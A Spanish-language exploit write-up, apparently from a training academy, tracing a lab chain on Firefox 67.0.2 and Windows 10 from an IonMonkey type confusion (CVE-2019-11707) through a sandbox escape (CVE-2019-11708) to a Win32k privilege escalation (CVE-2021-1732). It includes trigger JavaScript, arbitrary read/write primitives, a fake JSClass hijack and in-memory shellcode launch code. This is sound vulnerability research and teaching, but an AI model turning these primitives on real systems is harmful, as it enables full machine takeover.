Saltar a contenido

CVE-2019-11707: de una confusión de tipos en IonMonkey a SYSTEM

English version

Alcance de la investigación

Este artículo fue desarrollado como parte de Binary Gecko Academy. Documenta una cadena de laboratorio autorizada contra versiones deliberadamente vulnerables de Firefox y Windows. El artefacto final es un único documento HTML autocontenido.

CVE-2019-11707 es una confusión de tipos crítica en el JIT optimizador IonMonkey de Firefox. El bug permite ejecutar código nativo dentro del proceso de contenido, pero ese proceso sigue limitado por el sandbox del navegador. La cadena completa de laboratorio combina, por lo tanto, tres vulnerabilidades:

CVE-2019-11707  RCE en el renderer (Low Integrity)
        -> CVE-2019-11708  transición fuera del sandbox (Medium Integrity)
        -> CVE-2021-1732   elevación local de privilegios en Win32k
        -> NT AUTHORITY\SYSTEM

El artículo comienza por el parche de Mozilla, deriva el root cause desde ese diff, explica cómo el testcase reducido se convierte en una primitiva de lectura/escritura arbitraria y recorre la cadena hasta la ejecución nativa, la transición al proceso padre y el LPE embebido.

TL;DR

Etapa Vulnerabilidad o técnica Resultado
Confusión en el JIT CVE-2019-11707 al especializar Array.prototype.pop store de typed array con tamaño incorrecto
Primitiva de memoria corrupción de metadata de ArrayBuffer adyacentes lectura/escritura arbitraria de ocho bytes
Callback nativo búsqueda en páginas JIT y sustitución temporal de JSClass ejecución nativa controlada en el proceso de contenido
Transición del sandbox CVE-2019-11708, Prompt:Open ejecución en el proceso padre con Medium Integrity
LPE de kernel CVE-2021-1732 embebido como código independiente de posición generado por Donut token SYSTEM y consola de comandos

El PoC del navegador es deliberadamente específico para un build. Antes de usar RVAs calibrados valida el módulo cargado y falla de forma cerrada si el layout esperado no está presente.

Elemento Valor seleccionado
Baseline vulnerable para el análisis Firefox 67.0.2 x64
Primera versión corregida Firefox 67.0.3
Navegador de la demostración release oficial Firefox 67.0.2 x64
Sistema operativo Windows 10 2004 x64, build 19041.264
Artefacto final un documento HTML autocontenido
Estado final observado consola NT AUTHORITY\SYSTEM

1. Primero el fix: diff del código de Mozilla

El camino más corto hacia el root cause es la corrección. Mozilla identifica Firefox 67.0.2 como afectado y Firefox 67.0.3 como la primera versión corregida. La comparación entre los árboles oficiales FIREFOX_67_0_2_RELEASE y FIREFOX_67_0_3_RELEASE aísla el fix del Bug 1544386 en tres archivos del JIT:

Elemento Valor verificado
Tag vulnerable FIREFOX_67_0_2_RELEASE9b59fd6e2180...
Tag corregido FIREFOX_67_0_3_RELEASE11b425534a0e...
Cambio upstream Bug 1544386, parte 1; Phabricator D29486
Archivos modificados MCallOptimize.cpp, MIR.cpp, MIR.h

El cambio decisivo en el call site

El optimizador vulnerable preguntaba si la cadena canónica de Array.prototype contenía propiedades indexadas. Esa condición es más estrecha que la necesaria para especializar con seguridad: un array particular puede tener su prototipo reemplazado. El código corregido pregunta si el receiver real obj, o algún objeto de su cadena efectiva de prototipos, puede suministrar una propiedad indexada adicional.

 // Watch out for extra indexed properties on the object or its prototype.
 bool hasIndexedProperty;
 MOZ_TRY_VAR(hasIndexedProperty,
-    ArrayPrototypeHasIndexedProperty(this, script()));
+    ElementAccessHasExtraIndexedProperty(this, obj));

La misma sustitución aparece en el camino de push y en el inlining compartido por pop y shift:

-// Watch out for indexed properties on the prototype.
+// Watch out for extra indexed properties on the object or its prototype.
 bool hasIndexedProperty;
 MOZ_TRY_VAR(hasIndexedProperty,
-    ArrayPrototypeHasIndexedProperty(this, script()));
+    ElementAccessHasExtraIndexedProperty(this, obj));

El helper anterior se elimina después de MIR.cpp y MIR.h:

-// Whether Array.prototype, or an object on its proto chain, has an indexed
-// property.
-AbortReasonOr<bool> jit::ArrayPrototypeHasIndexedProperty(...)
-{
-  if (JSObject* proto = script->global().maybeGetArrayPrototype())
-    return PrototypeHasIndexedProperty(builder, proto);
-  return true;
-}

El bug no estaba en pop() como operación aislada. La condición insegura era un guard del optimizador que inspeccionaba el prototipo global de Array en lugar de la cadena efectiva del objeto que estaba especializando. Cuando el receiver podía producir un valor indexado ausente de los tipos inferidos, el tipo de resultado optimizado por IonMonkey dejaba de ser válido.

2. Vulnerabilidad y root cause

Mozilla describe CVE-2019-11707 como una confusión de tipos en Array.pop que puede ocurrir al manipular objetos JavaScript. Fue explotada in the wild, recibió severidad crítica y fue corregida en Firefox 67.0.3 y Firefox ESR 60.7.1.

Campo Valor
Componente SpiderMonkey, JIT optimizador IonMonkey
Clase de bug modelado incorrecto de tipos y efectos que conduce a type confusion
Baseline afectado Firefox 67.0.2 y builds anteriores vulnerables
Primera versión corregida Firefox 67.0.3; Firefox ESR 60.7.1
Impacto inmediato ejecución nativa controlada en el proceso de contenido
Impacto de la cadena completa SYSTEM en la imagen de Windows seleccionada

Por qué se eligió Firefox 67.0.2

Firefox 67.0.2 x64 es tanto el baseline vulnerable como el navegador de la demostración final. Se eligió porque es la última release oficial anterior al fix publicado por Mozilla en 67.0.3. Usar ese par adyacente conecta directamente el diff del código fuente, el código máquina vulnerable y el browser ejecutado por la PoC.

La cadena completa fue recalibrada para la release oficial 67.0.2 x64 y validada desde una sesión de usuario estándar con un perfil normal de Firefox. No necesita user.js, preferencias modificadas, servidor HTTP, DLL vecina, etapa de PowerShell ni un payload descargado. Firefox 65.0.1 queda únicamente como el objetivo histórico usado durante el bring-up inicial del port a Windows.

La selección sigue siendo un contrato explícito de build; no significa que todos los binarios cuya versión visible sea "67.0.2" sean intercambiables. El xul.dll oficial validado tiene SHA-256 99e1b9dc8c30c30e5c0c5d515d0b6c1d9a9e873cd35216310b27e6d1ecbce5ef.

Creencia en compile time frente a semántica en runtime

Durante el warm-up, el optimizador observa un array cuyos elementos propios tienen tipo T1. IonMonkey inlinea Array.prototype.pop, concluye que el resultado también será T1 y elimina la barrera de tipo correspondiente. Esto solo es correcto si el valor necesariamente proviene de los elementos densos del propio array.

JavaScript permite reemplazar el prototipo del array. Si el elemento propio en el índice cero está ausente, la búsqueda de propiedades en runtime continúa por ese prototipo custom y puede devolver un valor T2. El código optimizado, sin embargo, lo consume como T1.

warm-up: todos los valores son T1
        -> IonMonkey inlinea pop() y elimina la barrera de tipo
        -> un prototipo custom suministra T2
        -> el código optimizado usa T2 como si fuera T1

Un invariante es una condición que debe permanecer verdadera para que una optimización sea correcta. En este caso, el tipo de retorno inferido se trató como invariante aunque los valores indexados de la cadena efectiva de prototipos podían romperlo.

El testcase público reducido y la variante in the wild basada en un accessor tienen formas distintas, pero ambos rompen la misma suposición: el optimizador no modelaba todo lo que podía hacer la cadena de prototipos del receiver.

Por qué el parche es suficiente

ElementAccessHasExtraIndexedProperty(this, obj) razona sobre el receiver real e instala las restricciones necesarias. Si el objeto o alguno de sus prototipos puede suministrar una propiedad indexada adicional, el optimizador descarta la especialización. La ejecución queda en un camino que conserva la búsqueda genérica de JavaScript y sus verificaciones de tipo. El parche restaura la precondición faltante antes de que ocurra la corrupción.

3. Contexto del hallazgo: Fuzzilli y fuzzing orientado a JIT

CVE-2019-11707 fue producida inicialmente mediante fuzzing y luego reducida a mano. El fuzzing de JIT tiene una dificultad adicional: el programa debe seguir siendo válido y predecible durante suficiente tiempo como para calentarse y ser optimizado, y recién entonces romper una suposición del compilador.

Fuzzilli muta programas escritos en FuzzIL, una representación intermedia que conserva la estructura de variables y operaciones. Un lifter convierte FuzzIL a JavaScript, un runner persistente lo ejecuta, la cobertura selecciona muestras interesantes y un minimizador reduce los crashes preservando su comportamiento.

corpus -> mutación FuzzIL -> lifting a JavaScript
       -> ejecución persistente + cobertura -> evaluación/minimización -> corpus

El patrón minimizado es un punto de partida, no un exploit completo. El port a Windows conserva el type mismatch y dirige el store de tamaño incorrecto contra metadata preparada de ArrayBuffer:

var bufs = [];
for (var i = 0; i < 100; i++) bufs.push(new ArrayBuffer(0x20));

var abuf = bufs[5];
var u32 = new Uint32Array(abuf);
const values = [u32, u32, u32, u32, u32];

function vuln(i) {
  if (!values.length) values[3] = u32;
  values.pop()[i] = 0x80;
  for (let j = 0; j < 100000; j++) {} // forzar optimización
}

values.__proto__ = [new Uint8Array(abuf), u32, u32];
for (i = 0; i < 1600; i++) vuln(18);

IonMonkey especializa el resultado como Uint32Array, mientras que el prototipo puede devolver un Uint8Array en runtime. El índice 18 corresponde entonces a un desplazamiento de bytes distinto del que supone el store optimizado. En el layout seleccionado, esa escritura alcanza la metadata del buffer adyacente.

4. De corrupción de buffers adyacentes a lectura/escritura arbitraria

Layout Win64 esperado

El exploit prepara cien objetos ArrayBuffer del mismo tamaño. El store mal tipado solo es útil si los buffers elegidos ocupan las posiciones relativas esperadas. Un intento exitoso debe producir exactamente:

bufs[6].byteLength === 0x80;
bufs[7].byteLength === 0x20;

Cualquier otra forma se descarta y el documento hace una cantidad acotada de reintentos.

Región Función después de la corrupción
bufs[5] y sus typed views objetos fuente usados por el store mal tipado
metadata de bufs[6] longitud ampliada a 0x80, creando una vista out-of-bounds
metadata de bufs[7] data pointer y longitud redirigidos mediante esa vista
objeto leaker ventana controlada sobre memoria arbitraria del proceso

En el offset 0x50, la vista corrupta obtiene los seis bytes significativos de la dirección del objeto leaker vecino. La implementación extiende con ceros este puntero canónico de 48 bits y lo valida antes de usarlo.

Redirección de la vista

El layout x64 seleccionado de Firefox 67.0.2 almacena el data pointer relevante del ArrayBuffer en forma desplazada. El exploit desplaza a la derecha un bit el puntero filtrado, lo escribe en la metadata de bufs[7] en el offset 0x40 y amplía el byte de longitud en 0x48. Una nueva vista sobre bufs[7] expone entonces el data pointer del leaker en el offset 0x38.

Modificar esos ocho bytes permite redirigir el leaker:

function pointAt(address) {
  for (var i = 0; i < 8; i++) controller[0x38 + i] = address[i];
}

function read8(address) {
  pointAt(address);
  return leaker.slice(0, 8);
}

function write8(address, value) {
  pointAt(address);
  for (var i = 0; i < 8; i++) leaker[i] = value[i] || 0;
}

Antes de continuar, la implementación lee el header de un objeto conocido, escribe un marcador de ocho bytes en memoria propia, lo vuelve a leer, restaura los bytes originales y recupera el data pointer del leaker. Esta prueba reversible distingue una primitiva válida de un crash afortunado o de texto meramente cosmético en la página.

Fingerprinting fail-closed del módulo

La primitiva filtra el puntero a JSClass de un ArrayBuffer. En lugar de asumir una dirección fija para xul.dll o calcular su base con una única resta, el exploit retrocede desde ese puntero por boundaries de asignación de 64 KiB. Solo acepta una candidata si:

  • la imagen comienza con la firma MZ;
  • e_lfanew conduce a una firma PE válida;
  • el puntero filtrado a la clase se encuentra dentro de la imagen candidata;
  • SizeOfImage coincide con 0x05f7e000 y el RVA de la clase con 0x045e5428; y
  • las escrituras posteriores pueden verificarse leyendo sus direcciones esperadas.

Este escaneo en runtime elimina la dependencia de una base ASLR concreta, pero conserva una validación fail-closed del build. No vuelve portables los RVAs nativos entre versiones de Firefox: los offsets calibrados solo se usan cuando la imagen cargada coincide con el layout oficial de 67.0.2.

5. De lectura/escritura arbitraria a ejecución nativa en el renderer

El acceso arbitrario a memoria es una primitiva, no una prueba de ejecución nativa controlada. El PoC usa una asignación existente de Ion como ancla de código y fabrica el objeto de callback mínimo, sin cargar una DLL externa.

Localización de un callback JIT estable

Dos funciones JavaScript pequeñas contienen constantes IEEE-754 cuya representación incluye un stub x64 equivalente a mov eax, 1; ret. Las llamadas repetidas provocan la compilación por Ion. El exploit recupera los punteros a la función, la información JIT y el código mediante slots conocidos, y luego confirma que la tupla permanezca estable durante varias épocas del event loop.

El código Ion puede moverse mientras se publica la compilación. Una búsqueda acotada a un máximo de ocho páginas vecinas localiza la firma completa de retorno TRUE. La búsqueda se hace solo después de validar el layout de la función contenedora. Si el code pointer cambia tarde, el intento se descarta en lugar de escribir mediante una dirección obsoleta.

El port a 67.0.2 también reduce la dependencia de detalles accidentales de codegen. El stager fuerza la materialización de todas sus constantes de punto flotante y busca la secuencia semántica de seis bytes b8 01 00 00 00 c3 (mov eax, 1; ret), sin incluir NOPs finales opcionales. El heap grooming, la estabilización del JIT y el callback nativo quedan limitados a seis intentos del documento.

Sustitución temporal de JSClass

El group de un objeto ArrayBuffer normalmente apunta a su JSClass genuina. El exploit copia en un typed array propio solo los campos requeridos por el runtime, agrega una tabla de operaciones fabricada y reemplaza ops->addProperty por el stub JIT validado. Intercambia el puntero de clase del group solo durante la adición de una propiedad y restaura inmediatamente la clase original.

var ops = add(fakeData, 0x30);
var fields = [0x00, 0x08, 0x18, 0x20, 0x28];

for (var i = 0; i < fields.length; i++)
  write8(add(fakeData, fields[i]), read8(add(originalClass, fields[i])));

write8(add(fakeData, 0x10), ops); // JSClass.ops
write8(ops, jitEntry);            // ops->addProperty
write8(objectGroup, fakeData);    // clase temporal
restoreLeaker();

target.nativeTrigger = marker;    // invocar el callback nativo

write8(objectGroup, originalClass);
restoreLeaker();

El callback fabricado devuelve el valor booleano no nulo TRUE. La página emite WINPORT_MINIMAL_RENDERER_RCE_OK y marker=0x55 solamente después de que el control volvió a JavaScript. La captura no necesita mostrar literalmente la palabra TRUE: RCE_OK es la postcondición visible que demuestra que el callback nativo regresó correctamente.

Checkpoint de ejecución nativa en el renderer

Esta imagen renderer-only es un checkpoint histórico de calibración. Prueba que la llamada nativa regresó a JavaScript, pero deliberadamente no se presenta como evidencia de escape del sandbox ni de privilegios SYSTEM. La validación final de 67.0.2 utilizó el HTML limpio completo y verificó el propietario de la consola resultante.

6. Cruce del sandbox de Firefox con CVE-2019-11708

Por qué la cadena demostrada contiene tres vulnerabilidades

La ejecución nativa obtenida mediante CVE-2019-11707 hereda el token Low Integrity y las restricciones del proceso de contenido. El primer diseño intentó ejecutar directamente desde allí el payload público de CVE-2021-1732. Falló antes de alcanzar el estado explotable de Win32k porque el payload depende de creación de ventanas, callbacks a user mode y operaciones del desktop heap que no eran utilizables desde el renderer seleccionado.

Ese resultado negativo define un límite real: CVE-2021-1732 es la elevación final, pero no funciona como escape desde Low Integrity en esta configuración. Un exploit de kernel ya demostrado desde un renderer Low podría reemplazar tanto CVE-2019-11708 como CVE-2021-1732 y dar una cadena más limpia de dos vulnerabilidades. Esa alternativa no fue integrada en este trabajo.

La implementación validada usa entonces:

CVE-2019-11707  RCE en el renderer
        -> CVE-2019-11708  transición Low-to-Medium en el navegador
        -> CVE-2021-1732   LPE Medium-to-SYSTEM

El advisory de Mozilla para CVE-2019-11708 explica que una validación insuficiente de los parámetros IPC de Prompt:Open permitía a un child comprometido hacer que el parent no sandboxeado abriera contenido elegido por el atacante. Combinado con otra vulnerabilidad, esto podía conducir a ejecución arbitraria en el equipo.

Calibración in-memory del privilege gate

Los primeros experimentos usaban un perfil preparado de Firefox para exponer la superficie privilegiada legacy. Eso resultó útil para diagnosticar el chain, pero no era adecuado para un artefacto standalone. El PoC final calibra el estado en memoria:

  1. Valida la imagen exacta de xul.dll.
  2. Actualiza tres ubicaciones específicas de gate/cache mediante operaciones read-modify-write que preservan los bytes vecinos.
  3. Lee cada byte de vuelta antes de continuar.
  4. Deja que las modificaciones desaparezcan al terminar el proceso.

No necesita user.js, un perfil custom, preferencias persistentes, un wrapper de PowerShell ni un servidor local.

El documento entra al estado formal ipc_escape, obtiene el system principal mediante la API legacy expuesta y envía Prompt:Open indicando como destino el mismo documento local:

function promptOpen() {
  enablePrivilege();
  var Cu = Components.utils;
  var services = Cu.import("resource://gre/modules/Services.jsm").Services;
  var sb = Cu.Sandbox(services.scriptSecurityManager.getSystemPrincipal());
  Cu.evalInSandbox("function ds(w){return w.docShell}", sb);
  sb.ds(window).messageManager.sendSyncMessage(
      "Prompt:Open", { uri: page("parent") });
}

El proceso padre primero carga el documento en un contexto con forma de contenido. Por eso el PoC repite su primitiva de memoria y el callback nativo dentro de ese proceso antes de entrar al estado privilegiado final. Nunca reutiliza direcciones del renderer en el parent.

proceso de contenido Low Integrity
  11707 R/W + callback nativo
        -> xul.dll validado y privilege gate in-memory
        -> Prompt:Open (CVE-2019-11708)
        -> parent Medium Integrity
  repetir 11707 R/W + callback nativo

7. Integración single-stage del LPE de kernel

Por qué se eligió CVE-2021-1732

La imagen de laboratorio es Windows 10 2004 x64, build 19041.264. CVE-2021-1732 es un bug de sincronización de flags en win32kfull!xxxCreateWindowEx.

Durante el callback xxxClientAllocWindowClassExtraBytes, user mode puede cambiar un campo de tagWND de puntero a offset y activar el flag correspondiente. Después de NtCallbackReturn, el campo se sobrescribe sin limpiar ese flag. El kernel interpreta entonces un offset no validado y controlado por el atacante como una dirección del desktop heap.

La estrategia pública convierte esa desincronización en acceso out-of-bounds sobre objetos ventana, luego en lectura/escritura arbitraria de kernel, recorre ActiveProcessLinks para localizar los EPROCESS actual y SYSTEM, y reemplaza el token del proceso actual por el token SYSTEM.

desincronización de estado durante un callback
        -> acceso out-of-bounds sobre tagWND
        -> lectura/escritura arbitraria de kernel
        -> recorrido de EPROCESS
        -> reemplazo del token por SYSTEM

De un EXE público a código independiente de posición embebido

La carga de una DLL permitió probar el chain, pero dejaba varios archivos junto al HTML. El artefacto final transforma el ejecutable nativo de CVE-2021-1732 con Donut v1.1 en un loader x64 independiente de posición que contiene la imagen PE y la línea de comandos fija cmd.exe /k whoami.

El blob resultante de 26.860 bytes se codifica en Base64 dentro del HTML. La integración JavaScript comprueba el tamaño decodificado, asigna memoria escribible, copia el blob, cambia la región a ejecutable, vacía la instruction cache e inicia el entry point en un thread nuevo:

var raw = atob(LPE.dataB64);
if (raw.length !== 26860) throw Error("unexpected LPE size");

var memory = VirtualAlloc(null, raw.length, 0x3000, 0x04); // RW
memcpy(memory, bytes, raw.length);
VirtualProtect(memory, raw.length, 0x20, oldProtect);       // RX
FlushInstructionCache(GetCurrentProcess(), memory, raw.length);
var thread = CreateThread(null, 0, memory, null, 0, threadId);

Donut aporta el loader PE in-memory, las relocations, la resolución diferida de imports y el parcheo de command line. JavaScript conserva los objetos nativos mientras el worker thread permanece activo.

Máquina de estados end-to-end

El navegador cambia de contexto de ejecución varias veces, pero todas las transiciones son iniciadas por el mismo documento y correlacionadas por un único identificador de ejecución:

abrir HTML
  -> renderer: CVE-2019-11707 R/W + ejecución nativa
  -> ipc_escape: CVE-2019-11708
  -> parent: repetir R/W + ejecución nativa
  -> loader independiente de posición con CVE-2021-1732 embebido
  -> cmd.exe como SYSTEM

8. Validación final y límite de portabilidad

El entregable limpio exacto se abrió directamente desde disco con la release oficial Firefox 67.0.2 x64 y el perfil normal de un usuario estándar de Windows. Completó la primitiva del renderer, la transición IPC privilegiada, la ejecución nativa en el proceso padre y el LPE de kernel embebido. El proceso interactivo resultante fue C:\Windows\System32\cmd.exe /k whoami, propiedad de NT AUTHORITY\SYSTEM.

Componente validado Valor
Windows Windows 10 2004 x64, build 19041.264
Principal inicial usuario estándar con sesión de escritorio
Firefox release oficial 67.0.2 x64
SHA-256 de firefox.exe 6bbf10d3514b905bca35eafd4622d6a065dd4a527cf6f5b6f00a8c832bbaf2ad
SHA-256 de xul.dll 99e1b9dc8c30c30e5c0c5d515d0b6c1d9a9e873cd35216310b27e6d1ecbce5ef
SHA-256 del HTML limpio 10be27c219d1f57c85fe088fb69f4067a72e283de9c7f1fd1d566d3147452ef0
Propietario del proceso final NT AUTHORITY\SYSTEM

El escaneo dinámico del PE independiza el lado browser de la base aleatoria del módulo, por lo que una segunda máquina con el mismo build oficial puede tener un layout ASLR distinto. Esto no hace universal la PoC para cualquier paquete Firefox 67 ni para cualquier instalación de Windows. El fingerprint del browser debe coincidir, el kernel de Windows debe seguir siendo vulnerable a CVE-2021-1732 y debe existir una sesión de escritorio interactiva. La validación end-to-end se completó en la VM de laboratorio declarada; la reproducibilidad entre VMs debe describirse como esperable con los mismos hashes y build de sistema operativo, no como garantizada para equipos arbitrarios.

Conclusión

El cambio de una línea en el call site de Mozilla resume el root cause: el optimizador verificaba el Array.prototype global en lugar de la cadena efectiva del receiver que estaba especializando. Eso permitía que Array.prototype.pop devolviera un valor cuyo tipo en runtime contradecía el inferido por IonMonkey y habilitaba un store de typed array con tamaño incorrecto.

El port a Windows convierte ese store en corrupción de metadata de ArrayBuffer adyacentes y luego en lectura/escritura arbitraria. Una búsqueda JIT validada contra el build y la sustitución temporal de JSClass::addProperty generan un callback nativo que vuelve de forma segura a JavaScript. CVE-2019-11708 aporta la transición necesaria al proceso padre, y el ejecutable CVE-2021-1732 transformado por Donut se ejecuta desde la memoria del HTML para reemplazar el token por SYSTEM.

Bajo el contrato de versiones seleccionado, el resultado es:

CVE-2019-11707 RCE en el renderer
  -> CVE-2019-11708 bridge IPC privilegiado
  -> CVE-2021-1732
  -> NT AUTHORITY\SYSTEM

Referencias

  1. Mozilla Foundation Security Advisory 2019-18
  2. Mozilla Bugzilla 1544386
  3. Mozilla source changeset a74585a7dec4
  4. Google Project Zero: análisis de root cause de CVE-2019-11707
  5. Fuzzilli: Fuzzing for JavaScript JIT Compiler Vulnerabilities
  6. Mozilla Foundation Security Advisory 2019-19
  7. Mozilla Bugzilla 1559858
  8. Google Project Zero: análisis de root cause de CVE-2021-1732
  9. PoC público de CVE-2021-1732
  10. Donut: código independiente de posición para ejecución in-memory